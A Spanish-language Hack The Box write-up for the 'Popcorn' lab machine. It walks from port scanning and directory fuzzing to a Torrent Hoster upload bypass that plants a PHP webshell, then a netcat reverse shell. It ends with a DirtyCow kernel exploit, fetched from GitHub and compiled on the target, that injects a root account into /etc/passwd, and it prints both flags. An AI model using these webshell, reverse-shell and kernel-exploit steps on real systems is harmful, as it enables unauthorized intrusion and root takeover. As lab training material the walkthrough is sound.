Popcorn - Hack The Box

⮕ Maquina Linux

❯ ping -c 1 10.10.10.6
PING 10.10.10.6 (10.10.10.6) 56(84) bytes of data.
64 bytes from 10.10.10.6: icmp_seq=1 ttl=63 time=115 ms

--- 10.10.10.6 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 114.629/114.629/114.629/0.000 ms
❯ whichSystem.py 10.10.10.6

10.10.10.6 (ttl -> 63): Linux

PortScan

❯ catn targeted
# Nmap 7.93 scan initiated Mon Jun 19 11:55:45 2023 as: nmap -sCV -p22,80 -oN targeted 10.10.10.6
Nmap scan report for 10.10.10.6
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3ec81b15211550ec6e63bcc56b807b38 (DSA)
|_  2048 aa1f7921b842f48a38bdb805ef1a074d (RSA)
80/tcp open  http    Apache httpd 2.2.12 ((Ubuntu))
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap enum

❯ nmap --script=http-enum -p80 10.10.10.6 -oN webScan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-19 11:57 CST
Nmap scan report for 10.10.10.6
Host is up (0.11s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /test/: Test page
|   /test.php: Test page
|   /test/logon.html: Jetty
|_  /icons/: Potentially interesting folder w/ directory listing

Enumeracion

Esta es la web

Esto es lo que esta corriendo en la ruta test

Esta ruta nos lleva a donde mismo

La ultima ruta no podemos verla

Vamos aplicar Fuzzing para ver si encontramos algo mas

Hay varias rutas apartir de torrent hay una ruta que se llama upload eso ya es interesante vamos a ver las rutas

❯ feroxbuster -t 200 -x php,txt,html -u http://10.10.10.6

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.10.6
 🚀  Threads               │ 200
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php, txt, html]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200        4l       25w      177c http://10.10.10.6/index
200        4l       25w      177c http://10.10.10.6/index.html
200      654l     3106w        0c http://10.10.10.6/test
200      652l     3096w        0c http://10.10.10.6/test.php
301        9l       28w      310c http://10.10.10.6/torrent
301        9l       28w      320c http://10.10.10.6/torrent/templates
301        9l       28w      319c http://10.10.10.6/torrent/database
200        2l        0w        4c http://10.10.10.6/torrent/secure
301        9l       28w      317c http://10.10.10.6/torrent/upload
301        9l       28w      313c http://10.10.10.6/torrent/js
301        9l       28w      314c http://10.10.10.6/torrent/css
200        2l        0w        4c http://10.10.10.6/torrent/secure.php
200        0l        0w        0c http://10.10.10.6/torrent/config
200       26l       63w      964c http://10.10.10.6/torrent/rss
301        9l       28w      314c http://10.10.10.6/torrent/lib
200        0l        0w        0c http://10.10.10.6/torrent/upload.php

Bueno probando las rutas que tiene un código de estado 200 esta me muestra información

Vemos que también hay una ruta upload

Esto es lo que contiene la imagen

La otra contiene esto

Si buscamos la otra ruta vemos esto

Si buscamos la ruta que habíamos visto nos redirige aquí

❯ searchsploit Torrent Hoster
---------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                |  Path
---------------------------------------------------------------------------------------------- ---------------------------------
Torrent Hoster - Remount Upload                                                               | php/webapps/11746.txt
---------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Hay un panel de login si probamos haciendo una inyeccion SQL

Si le damos en login nos devuelve un error

La contraseña la convierte a un hash en MD5, la cual es la misma que nos regreso el error

Si nos registramos funcionan las credenciales así que ahora vamos a logearnos

Y vemos esto

Nos piden esto para subir un archivo

Si analizamos el txt que nos mostró searchsploit estamos en la misma ruta

Si subimos una imagen para hacer una prueba

Nos dice que nos es valido

Si seguimos examinando vemos que el usuario admin subió kali linux

Vamos a descargarlo dando click en el botón de Download

Si analizamos también vemos que subio una screenshot que es la que esta en http://10.10.10.6/torrent/upload/

Si subimos el kali linux que acabamos de descargar que es .torrent pasa esto

Nos dicen que ya existe

Si descargamos un kali linux de aqui https://www.kali.org/get-kali/#kali-installer-images con opción de torrent

Vamos a ver si podemos subirlo

Se subió

Y nos deja editarlo

Vamos a subir una imagen que cumpla con los requisitos que nos dicen para ver que pasa y le damos en el botón Submit Screenshot

Si nos vamos a esta ruta vemos que la imagen se sube

Si nos ponemos a pensar solo se pueden subir imágenes pero la pagina web interpreta php ademas que todo lo que subimos en ese campo también se muestra reflejado en la parte de http://10.10.10.6/torrent/upload/ así que lo que podemos hacer es aplicar un Bypass como en otros casos para ver si se puede por ejemplo podemos concatenar .png.php así que vamos a hacer eso

❯ catn webshell.png.php
<?php system($_GET['cmd']); ?>

Pero nos dice esto

Vamos a capturar la petición con burpsuite al momento de subir la webshell para ver como se esta tramitando todo

Si analizamos vemos que si me lo esta tomando como archivo php y solo se aceptan imágenes así podemos probar cambiando a jpeg por ejemplo

Al modificar ese campo y enviar la petición vemos que si funciona

Si recargamos vemos el .php

Shell as www-data

Una vez subido todo vemos que podemos ejecutar comandos

Vamos a ganar acceso

❯ nc -nlvp 443
listening on [any] 443 ...

Al darla al ENTER nos llega la shell

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.6] 52756
bash: no job control in this shell
www-data@popcorn:/var/www/torrent/upload$ whoami
whoami
www-data
www-data@popcorn:/var/www/torrent/upload$ 

Vamos a hacer lo siguiente para poder hacer un ctrl+c

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.6] 52756
bash: no job control in this shell
www-data@popcorn:/var/www/torrent/upload$ whoami
whoami
www-data
www-data@popcorn:/var/www/torrent/upload$ script /dev/null -c bash
script /dev/null -c bash
www-data@popcorn:/var/www/torrent/upload$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
				reset xterm
ENTER
[1]  + continued  nc -nlvp 443
www-data@popcorn:/var/www/torrent/upload$ export TERM=xterm	

Hay otro usuario que se llama george

User flag

Podemos ver la flag

www-data@popcorn:/home/george$ cat user.txt 
c135567f2a706d216e497ff3beff5dc6
www-data@popcorn:/home/george$ 

Escalada de privilegios

Si vemos privilegios con permisos SUID vemos los siguientes pero ninguno nos sirve

www-data@popcorn:/$ find \-perm -4000 2>/dev/null
./bin/ping6
./bin/ping
./bin/umount
./bin/mount
./bin/fusermount
./bin/su
./usr/lib/pt_chown
./usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
./usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
./usr/lib/eject/dmcrypt-get-device
./usr/lib/openssh/ssh-keysign
./usr/bin/chfn
./usr/bin/newgrp
./usr/bin/mtr
./usr/bin/chsh
./usr/bin/sudo
./usr/bin/traceroute6.iputils
./usr/bin/passwd
./usr/bin/arping
./usr/bin/gpasswd
./usr/bin/sudoedit
./usr/bin/at
./usr/sbin/pppd
./usr/sbin/uuidd
www-data@popcorn:/$ 

Como tal ubuntu esta muy desactualizado

www-data@popcorn:/$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 9.10
Release:	9.10
Codename:	karmic
www-data@popcorn:/$

Esto esta muy desactualizado la versión del kernel

www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
www-data@popcorn:/$

Versiones tan antiguas son vulnerables al dirtycow https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c

Vamos pasarlo ala maquina victima

❯ wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
--2023-06-19 14:07:32--  https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.108.133, 185.199.111.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.110.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 4815 (4.7K) [text/plain]
Grabando a: «dirty.c»

dirty.c                         100%[=======================================================>]   4.70K  --.-KB/s    en 0.03s   

2023-06-19 14:07:32 (168 KB/s) - «dirty.c» guardado [4815/4815]

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.6 - - [19/Jun/2023 14:07:54] "GET /dirty.c HTTP/1.0" 200 -

Lo descargamos

www-data@popcorn:/tmp$ wget http://10.10.14.12:80/dirty.c
--2023-06-19 23:07:55--  http://10.10.14.12/dirty.c
Connecting to 10.10.14.12:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4815 (4.7K) [text/x-csrc]
Saving to: `dirty.c'

100%[======================================>] 4,815       --.-K/s   in 0.08s   

2023-06-19 23:07:56 (60.6 KB/s) - `dirty.c' saved [4815/4815]

www-data@popcorn:/tmp$ 

Vamos a compilarlo

www-data@popcorn:/tmp$ cat dirty.c | grep gcc
//   gcc -pthread dirty.c -o dirty -lcrypt
www-data@popcorn:/tmp$ 
www-data@popcorn:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
www-data@popcorn:/tmp$ ls
dirty  dirty.c	vgauthsvclog.txt.0  vmware-root
www-data@popcorn:/tmp$ 

Esto lo que hace es que en el /etc/passwd va a tratar de inyectar un nuevo usuario con una contraseña que nosotros le vamos a dar para poder migrar de www-data al usuario, en mi caso pondré la contraseña hola

www-data@popcorn:/tmp$ ./dirty  
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 
Complete line:
firefart:fiWV.l3JFnVCk:0:0:pwned:/root:/bin/bash

mmap: b7765000
^C
www-data@popcorn:/tmp$ 

Vemos que nos agrega un usuario el identificador del usuario pertenece a root

www-data@popcorn:/tmp$ cat /etc/passwd | head -n 1
firefart:fiWV.l3JFnVCk:0:0:pwned:/root:/bin/bash
www-data@popcorn:/tmp$ 

Shell as root && root.txt

Somos firefart pero estamos operando como root

www-data@popcorn:/tmp$ su firefart
Password: 
firefart@popcorn:/tmp# whoami
firefart
firefart@popcorn:/tmp# cat /root/root.txt
aac7e6adbf1f57d0402406a90534f934
firefart@popcorn:/tmp#